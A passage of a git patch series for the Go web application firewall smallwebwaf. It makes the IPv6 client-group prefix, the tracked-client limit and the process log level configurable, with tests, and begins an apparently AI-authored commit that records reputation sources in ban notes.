map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1", + []string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"}, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() diff --git a/internal/proxy/client.go b/internal/proxy/client.go index 11058b9..e725973 100644 --- a/internal/proxy/client.go +++ b/internal/proxy/client.go @@ -76,16 +76,14 @@ func scheme(r *http.Request, peerTrusted bool) string { return proto } -// ipv6GroupPrefix is the length of the IPv6 netblock that is one client. -const ipv6GroupPrefix = 64 - // clientGroup is the client a request is counted toward: its IPv4 -// address, or the /64 its IPv6 address is in, since one abuser usually -// holds a whole /64. An IPv4 address in IPv6 form counts as IPv4. -func clientGroup(addr netip.Addr) netip.Prefix { +// address, or its IPv6 group, the netblock its IPv6 address is in of the +// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser +// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4. +func (h *handler) clientGroup(addr netip.Addr) netip.Prefix { addr = addr.Unmap() if addr.Is6() { - return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked() + return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked() } return netip.PrefixFrom(addr, addr.BitLen()) diff --git a/internal/proxy/history_test.go b/internal/proxy/history_test.go index c2104e2..7514c59 100644 --- a/internal/proxy/history_test.go +++ b/internal/proxy/history_test.go @@ -56,6 +56,24 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { } } +func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"}) + + // The third client drops the least recently seen, the first, with its + // history. + for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} { + s.get(from, http.StatusOK, requestlog.ActionForward) + } + + _, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32")) + if server.Limiter.Len() != 2 || held { + t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+ + "without it", server.Limiter.Len(), held) + } +} + func TestHistoryCountsTheBodiesEachWay(t *testing.T) { t.Parallel() diff --git a/internal/proxy/lookup.go b/internal/proxy/lookup.go index 352e71d..33190e4 100644 --- a/internal/proxy/lookup.go +++ b/internal/proxy/lookup.go @@ -31,9 +31,9 @@ func (rq *request) lookUp(ctx context.Context) { } if rq.h.config.LookupSource == "file" { - rq.lookupAnswer = rq.h.lookupFile.LookUp(clientGroup(rq.client)) + rq.lookupAnswer = rq.h.lookupFile.LookUp(rq.h.clientGroup(rq.client)) } else { - rq.lookupAnswer = rq.h.geojs.LookUp(ctx, clientGroup(rq.client)) + rq.lookupAnswer = rq.h.geojs.LookUp(ctx, rq.h.clientGroup(rq.client)) } rq.lookedUp = true diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index 0399cc1..aade4f6 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -320,7 +320,7 @@ func TestServerHasTheDefaultLimits(t *testing.T) { server := proxy.New(proxy.Params{ Config: cfg, RequestLog: io.Discard, - ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName), + ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName, cfg.LogLevel), }) if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || @@ -399,6 +399,25 @@ func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) { } } +func TestLogLevelHoldsBackNoRequestLine(t *testing.T) { + t.Parallel() + + // At error the warning that the request to the app failed is held back, + // and is written before the answer is. + addr, out := startProxy(t, "http://"+localhost+":1", map[string]string{ + "SWWAF_LOG_LEVEL": "error", + }) + + wantStatus(t, get(t, addr, "/"), http.StatusBadGateway) + wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError) + + for _, line := range out.lines(t) { + if line["type"] == "process" { + t.Errorf("process line %v, want none at error", line) + } + } +} + func TestLogsAnAnswerThatBrokeOff(t *testing.T) { t.Parallel() diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 1bca56d..1298343 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -124,7 +124,7 @@ func New(params Params) *Server { BytesPerMinute: params.Config.BytesLimitPerMinute, BytesPerHour: params.Config.BytesLimitPerHour, BytesPerDay: params.Config.BytesLimitPerDay, - }), + }, params.Config.MaxTrackedClients), ledger: bans.New(bans.Rules{ LimitBanDuration: params.Config.LimitBanDuration, LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index a83988d..77a3c42 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -61,6 +61,8 @@ const ( requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" trustedProxies = "SWWAF_TRUSTED_PROXIES" + ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX" + maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS" allowNets = "SWWAF_ALLOW_NETS" rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" denyNets = "SWWAF_DENY_NETS" @@ -295,7 +297,7 @@ func newProxy( } out := &output{} - processLog := requestlog.NewProcessLogger(out, cfg.InstanceName) + processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel) ruleFiles, err := rules.Load(rules.Params{ Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, diff --git a/internal/proxy/ratelimits_test.go b/internal/proxy/ratelimits_test.go index d133f2a..5d7408e 100644 --- a/internal/proxy/ratelimits_test.go +++ b/internal/proxy/ratelimits_test.go @@ -72,6 +72,49 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) { } } +func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) { + t.Parallel() + + // With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two + // /64s of one /48, are one client, and the second's request breaks the + // limit; the third, in the next /48, is another client. + const ( + first = "2001:db8:9::1" + second = "2001:db8:9:1::1" + other = "2001:db8:a::1" + ) + + for _, tc := range []struct { + setting, value string + // status and action are those of the request that breaks the + // limit: a rate limit refuses it, a byte limit passes it on. + status int + action string + }{ + {rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited}, + {bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward}, + } { + t.Run(tc.setting, func(t *testing.T) { + t.Parallel() + + s, _ := startWithAnswers(t, map[string]string{ + ipv6GroupPrefix: "48", tc.setting: tc.value, + }) + + s.get(first, http.StatusOK, requestlog.ActionForward) + + line := s.get(second, tc.status, tc.action) + if line.ClientGroup != "2001:db8:9::/48" || + line.Offence != requestlog.OffenceLimit { + t.Errorf("log line has client_group %q and offence %q, "+ + "want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence) + } + + s.get(other, http.StatusOK, requestlog.ActionForward) + }) + } +} + func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { t.Parallel() diff --git a/internal/proxy/reputation.go b/internal/proxy/reputation.go index b7770d0..d1439b5 100644 --- a/internal/proxy/reputation.go +++ b/internal/proxy/reputation.go @@ -52,7 +52,7 @@ func (rq *request) abuseIPDBDenied(ctx context.Context) bool { return false } - client := clientGroup(rq.client) + client := rq.h.clientGroup(rq.client) held, _ := rq.h.limiter.Client(client) offender := held.History.Offences != ratelimit.Offences{} @@ -88,7 +88,7 @@ func (rq *request) noteHit(source, reason string, detail map[string]any) { rq.h.alerts.Raise(alerts.Alert{ Event: alerts.EventReputationHit, Client: rq.client, - Netblock: clientGroup(rq.client), + Netblock: rq.h.clientGroup(rq.client), ASN: rq.line.ASN, ASName: rq.line.ASName, Country: rq.line.Country, diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 1b44749..293abd3 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -140,7 +140,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { RequestID: requestID(r, peerTrusted), PeerIP: peer.String(), ForwardedFor: strings.Join(forwardedFor, ", "), - ClientGroup: clientGroup(client).String(), + ClientGroup: h.clientGroup(client).String(), ContentType: r.Header.Get("Content-Type"), RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders), HasAuthorization: len(r.Header.Values("Authorization")) > 0, @@ -539,7 +539,7 @@ func timing(start, end time.Time) *float64 { func (rq *request) addToHistory() { forwarded := !rq.upstreamStart.IsZero() - rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{ + rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), ratelimit.Request{ Forwarded: forwarded, Refused: !forwarded && rq.refused.Load() != nil, Status: rq.out.status, @@ -572,7 +572,7 @@ func (rq *request) countAnomalies() { rq.h.anomalies.Count(rq.h.now(), anomaly.Request{ Client: rq.client, - ClientGroup: clientGroup(rq.client), + ClientGroup: rq.h.clientGroup(rq.client), ASN: answer.ASN, ASName: answer.ASName, Country: answer.Country, @@ -601,7 +601,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) { return rq.lookupAnswer, true } - return rq.h.geojs.Kept(clientGroup(rq.client)) + return rq.h.geojs.Kept(rq.h.clientGroup(rq.client)) } // requestBytes is how many bytes of the request's body have been read. diff --git a/internal/ratelimit/history_test.go b/internal/ratelimit/history_test.go index b3af169..bd6bf05 100644 --- a/internal/ratelimit/history_test.go +++ b/internal/ratelimit/history_test.go @@ -11,7 +11,7 @@ import ( func TestHistoryKeepsEveryRequest(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -53,7 +53,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) { func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") other := netip.MustParsePrefix("198.51.100.7/32") start := midnight() @@ -90,7 +90,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) { func TestResetKeepsTheHistory(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -109,7 +109,7 @@ func TestResetKeepsTheHistory(t *testing.T) { func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) for client, requests := range map[string]int{ "198.51.100.9/32": 2, diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 0e68a18..2862b79 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -2,8 +2,9 @@ // and bytes counted over a minute, an hour and a day, as the "Counting // method" section of SPEC.md describes, which tell when a request takes // the client over a rate limit or a byte limit, and each client's history -// since it was first seen. At most 20,000 clients are kept, in memory, and -// written to clients.json and read from it by the state package. +// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are +// kept, in memory, and written to clients.json and read from it by the +// state package. package ratelimit import ( @@ -16,11 +17,6 @@ import ( "github.com/hashicorp/golang-lru/v2/simplelru" ) -// maxClients is how many clients are kept. Past it, the least recently -// seen client is dropped, with its history, and starts afresh if it comes -// back. -const maxClients = 20000 - const day = 24 * time.Hour // The kinds of limits, as the metrics name them. @@ -150,8 +146,11 @@ type Request struct { RuleBlocked bool } -// New returns a Limiter for limits, with no client counted yet. -func New(limits Limits) *Limiter { +// New returns a Limiter for limits, with no client counted yet, whose +// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past +// it, the least recently seen client is dropped, with its history, and +// starts afresh if it comes back. +func New(limits Limits, maxClients int) *Limiter { clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil) if err != nil { panic(err) // NewLRU fails only for a size below one diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 0a31086..a6c20a7 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -12,6 +12,10 @@ import ( // limit is the limit the tests set. const limit = 3 +// tableSize is the most clients the tests' tables hold, the default of +// SWWAF_MAX_TRACKED_CLIENTS. +const tableSize = 20000 + // whole is the percentage of each limit a client gets when nothing lowers // its limits. const whole = 100 @@ -37,7 +41,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) { t.Run(tc.window, func(t *testing.T) { t.Parallel() - limiter := ratelimit.New(tc.limits) + limiter := ratelimit.New(tc.limits, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() quarter := tc.length / 4 @@ -62,7 +66,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) { func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -88,7 +92,8 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}, + tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -119,7 +124,8 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) { t.Parallel() // Only the hour has limits: the minute's and the day's are off. - limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}) + limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}, + tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -156,7 +162,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { t.Run(tc.window, func(t *testing.T) { t.Parallel() - limiter := ratelimit.New(tc.limits) + limiter := ratelimit.New(tc.limits, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") // 600 bytes are within the limit, 600 more over it. @@ -180,7 +186,8 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}, + tableSize) client := netip.MustParsePrefix("203.0.113.9/32") other := netip.MustParsePrefix("203.0.113.10/32") start := midnight() @@ -204,7 +211,7 @@ func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { func TestCountGivesTheBytesInEachWindow(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -230,7 +237,7 @@ func TestCountGivesTheBytesInEachWindow(t *testing.T) { func TestResetSetsTheBytesBackToZero(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}) + limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -244,7 +251,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) { func TestCountGivesTheRequestsInEachWindow(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -267,7 +274,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) { func TestResetSetsTheCountsBackToZero(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -289,7 +296,7 @@ func TestResetSetsTheCountsBackToZero(t *testing.T) { func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}) + limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -308,7 +315,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) { func TestRefusedRequestsCount(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}, + tableSize) refused := netip.MustParsePrefix("203.0.113.9/32") within := netip.MustParsePrefix("203.0.113.10/32") start := midnight() @@ -341,7 +349,7 @@ func TestRefusedRequestsCount(t *testing.T) { func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -357,7 +365,7 @@ func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) { func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}) + limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -380,12 +388,12 @@ func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) { wantCount(t, limiter, client, setBack, hour) } -func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) { +func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) { t.Parallel() - const maxClients = 20000 + const maxClients = 3 - limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}) + limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients) now := midnight() clients := make([]netip.Prefix, maxClients+1) @@ -407,6 +415,11 @@ func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) { // One client more drops the least recently seen, the second, which // starts afresh, while the first is kept. wantCount(t, limiter, clients[maxClients], now, "") + + if limiter.Len() != maxClients { + t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients) + } + wantCount(t, limiter, clients[1], now, "") wantCount(t, limiter, clients[0], now, minute) } diff --git a/internal/ratelimit/snapshot_test.go b/internal/ratelimit/snapshot_test.go index 56d2d45..01a2ba9 100644 --- a/internal/ratelimit/snapshot_test.go +++ b/internal/ratelimit/snapshot_test.go @@ -14,7 +14,7 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) { want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"} - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) for _, i := range []int{2, 3, 0, 1} { limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole) } @@ -43,7 +43,7 @@ func TestLoadedCountsCarryOn(t *testing.T) { client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() - before := ratelimit.New(ratelimit.Limits{PerHour: limit}) + before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize) for range limit { wantCount(t, before, client, start, "") } @@ -51,7 +51,7 @@ func TestLoadedCountsCarryOn(t *testing.T) { // Loaded into a new limiter, as across a restart, the client has no // fresh allowance. later := start.Add(time.Minute) - after := ratelimit.New(ratelimit.Limits{PerHour: limit}) + after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize) after.Load(before.Snapshot(), later) wantCount(t, after, client, later, hour) } @@ -62,7 +62,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter.Count(client, start, whole) limiter.CountBytes(client, start, 5, whole) limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) @@ -70,7 +70,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { loaded := func(now time.Time) ratelimit.Client { t.Helper() - after := ratelimit.New(ratelimit.Limits{}) + after := ratelimit.New(ratelimit.Limits{}, tableSize) after.Load(limiter.Snapshot(), now) return after.Snapshot()[0] @@ -102,7 +102,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) { t.Parallel() - const maxClients = 20000 + const maxClients = 3 // clients.json lists the clients by address. Here each was last seen // a second before the one listed before it, so the last listed is the @@ -116,7 +116,7 @@ func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) { addr = addr.Next() } - limiter := ratelimit.New(ratelimit.Limits{}) + limiter := ratelimit.New(ratelimit.Limits{}, maxClients) limiter.Load(clients, midnight()) got := limiter.Snapshot() diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 523be75..3c8be5d 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -193,8 +193,11 @@ func Milliseconds(d time.Duration) float64 { // NewProcessLogger returns the logger for the process's own messages: // JSON lines on w, marked "type":"process", with the time in the same form // as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance. -func NewProcessLogger(w io.Writer, instanceName string) *slog.Logger { +// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe; +// the request lines Write writes are never held back. +func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger { handler := slog.NewJSONHandler(w, &slog.HandlerOptions{ + Level: level, ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr { if attr.Key == slog.TimeKey && len(groups) == 0 { return slog.String(slog.TimeKey, FormatTime(attr.Value.Time())) diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go index eae737e..9824b67 100644 --- a/internal/requestlog/requestlog_test.go +++ b/internal/requestlog/requestlog_test.go @@ -3,6 +3,8 @@ package requestlog_test import ( "bytes" "encoding/json" + "log/slog" + "slices" "strings" "testing" "time" @@ -70,7 +72,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) { var out bytes.Buffer - requestlog.NewProcessLogger(&out, "fsn1app1/gitea").Info("starting", "version", "v1") + requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting", + "version", "v1") var fields map[string]any @@ -94,3 +97,47 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) { t.Errorf("process line time %q, want now in UTC with milliseconds", timeText) } } + +func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) { + t.Parallel() + + levels := []slog.Level{ + slog.LevelDebug, slog.LevelInfo, slog.LevelWarn, slog.LevelError, + } + + for i, level := range levels { + t.Run(level.String(), func(t *testing.T) { + t.Parallel() + + var out bytes.Buffer + + processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level) + for _, at := range levels { + processLog.Log(t.Context(), at, "message") + } + + var got, want []string + + for line := range strings.Lines(out.String()) { + var fields struct { + Level string `json:"level"` + } + + err := json.Unmarshal([]byte(line), &fields) + if err != nil { + t.Fatalf("decode %q: %v", line, err) + } + + got = append(got, fields.Level) + } + + for _, written := range levels[i:] { + want = append(want, written.String()) + } + + if !slices.Equal(got, want) { + t.Errorf("lines at %v, want %v", got, want) + } + }) + } +} diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index f80dddf..ab43736 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -70,8 +70,10 @@ func Main(version string) int { // state files, then serves requests until ctx is done. It returns the // process's exit status, 1 when smallwebwaf cannot start. func Run(ctx context.Context, params Params) int { + // Until the settings are read, the one message is an invalid setting's + // error, which every SWWAF_LOG_LEVEL lets through. processLog := requestlog.NewProcessLogger(params.Stdout, - config.InstanceName(params.LookupEnv)) + config.InstanceName(params.LookupEnv), slog.LevelError) cfg, err := config.FromEnvironment(params.LookupEnv) if err != nil { @@ -89,8 +91,11 @@ func Run(ctx context.Context, params Params) int { if cfg.LogRemoteURL != nil { remote = newRemoteLogSender(cfg) stdout = io.MultiWriter(params.Stdout, remote) - processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName) + } + processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel) + + if remote != nil { stopSending := startSending(ctx, remote, processLog) defer stopSending() } diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index 3af0fdd..b6db973 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -249,6 +249,54 @@ func TestServesUntilToldToStop(t *testing.T) { out.line(t, "msg", "stopped") } +func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) { + t.Parallel() + + // A list that cannot be fetched has a warning written once smallwebwaf + // serves, after its starting line. + lists := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusServiceUnavailable) + })) + t.Cleanup(lists.Close) + + ctx, stop := context.WithCancel(t.Context()) + out := &output{} + exited := make(chan int, 1) + + go func() { + exited <- run(ctx, map[string]string{ + listenAddr: localhost + ":0", + stateDir: t.TempDir(), + rulesDir: t.TempDir(), + "SWWAF_BLOCKLIST_URLS": lists.URL + "/tor.txt", + "SWWAF_LOG_LEVEL": "warn", + }, out) + }() + + out.line(t, "msg", "fetching a list failed") + stop() + + select { + case status := <-exited: + if status != 0 { + t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text()) + } + case <-time.After(waitLimit): + t.Fatal("still running after being told to stop") + } + + // Not one of the info lines from the start to the stop. + for line := range strings.Lines(out.text()) { + var fields map[string]any + + err := json.Unmarshal([]byte(line), &fields) + if err != nil || fields["level"] == "INFO" { + t.Errorf("line %q (%v), want none at info", line, err) + } + } +} + func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) { t.Parallel() diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 7aef2c9..fe228ba 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -1679,7 +1679,7 @@ func newParams(dir string) state.Params { AttackBanDuration: 7 * 24 * time.Hour, MaxBans: 5000, }), - Limiter: ratelimit.New(ratelimit.Limits{}), + Limiter: ratelimit.New(ratelimit.Limits{}, 20000), GeoJS: lookup.New(lookup.Params{ Now: midnight, ProcessLog: discard, Metrics: m, }), From 04e66d20691e7d72ce0d797970c6900b38b5d59b Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 03:08:01 +0200 Subject: [PATCH 44/64] Ban notes name the reputation sources that listed the client (closes #109) A ban's notes, in bans.json and in its alert, gain `reputation`: each blocklist, DNSBL zone or AbuseIPDB that listed the client when the ban was made, as its `source`, named and ordered as in the request log's `reputation`, with AbuseIPDB's `score`. It is left out when none did. README.md shows it in a bans.json example. Notes now hold a list, so bans can no longer be compared with ==: the tests compare them with reflect.DeepEqual. Judgement call: the score is a pointer, so a score of 0, a hit while SWWAF_ABUSEIPDB_MIN_SCORE is 0, is still written. Model: opus-5-5 --- README.md | 91 +++++++++++++++++++++++++------ internal/bans/admin_test.go | 7 ++- internal/bans/bans.go | 13 +++++ internal/bans/bans_test.go | 15 ++--- internal/bans/snapshot_test.go | 5 +- internal/proxy/admin_test.go | 6 +- internal/proxy/alerts_test.go | 3 +- internal/proxy/bans.go | 34 ++++++------ internal/proxy/bans_test.go | 3 +- internal/proxy/bytelimits_test.go | 3 +- internal/proxy/observe_test.go | 3 +- internal/proxy/reputation.go | 30 ++++++---- internal/proxy/reputation_test.go | 69 +++++++++++++++++++++++ internal/proxy/request.go | 6 +- internal/proxy/rulefiles_test.go | 3 +- internal/state/state_test.go | 20 ++++++- 16 files changed, 243 insertions(+), 68 deletions(-) diff --git a/README.md b/README.md index 3bec292..3d7abd2 100644 --- a/README.md +++ b/README.md @@ -163,15 +163,16 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of and the requests or bytes counted in it, the client's percentage of that kind of limit and the setting that gave it when a biased threshold lowered the limit, the request that broke it, the client's AS number, AS name and country - once they are looked up, the netblock's requests since it was first seen, how - many of them the ban has refused, and how many bans the netblock had before, - for a broken limit, for a clear sign of attack and by an admin. At most - `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and permanent; - past that, the earliest such ban of the netblock that has gone longest without - a request is dropped first. The bans whose cause is `admin`, those you make or - keep, are kept besides, and never dropped. `bans.json` shows the bans and - their notes, a restart lifts none, and you make, keep or lift a ban by editing - it (see "State files" below). + once they are looked up, the blocklists, DNSBL zones and AbuseIPDB, with its + score, that listed the client when the ban was made, the netblock's requests + since it was first 